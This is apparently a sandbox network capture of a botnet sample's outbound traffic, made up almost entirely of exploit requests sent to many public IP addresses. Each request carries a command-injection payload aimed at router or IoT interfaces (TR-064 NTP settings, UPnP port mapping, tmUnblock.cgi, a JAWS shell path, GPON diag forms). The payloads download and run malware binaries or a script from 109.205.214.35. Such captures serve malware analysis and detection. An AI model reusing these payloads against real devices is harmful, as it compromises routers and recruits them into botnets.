Mar 21, 2024 05:26:07.144315004 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	39344	182.52.149.27	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.216711044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	53874	34.117.151.133	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.270716906 CET	893	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	59730	181.88.240.54	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.377305984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	41204	177.138.109.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.388937950 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	48102	98.152.5.170	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.408071995 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:07.563587904 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 21 Mar 2024 04:26:07 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	40046	119.202.169.45	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.423579931 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:08.878880978 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	46574	218.148.98.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.423644066 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:08.878882885 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	43990	172.67.234.104	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.495601892 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	36994	172.65.244.87	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.495646000 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	53486	222.111.188.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.498882055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	39364	182.52.149.27	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.585673094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:08.709459066 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	53502	222.111.188.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:07.780482054 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:08.145561934 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	52980	23.59.182.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:08.137994051 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:08.246113062 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:08 GMT Date: Thu, 21 Mar 2024 04:26:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 65 35 31 38 64 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 36 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.e518d017.1710995168.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	54536	74.205.243.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:08.138562918 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:08.659461021 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:09.267488956 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:10.449580908 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:12.910284042 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
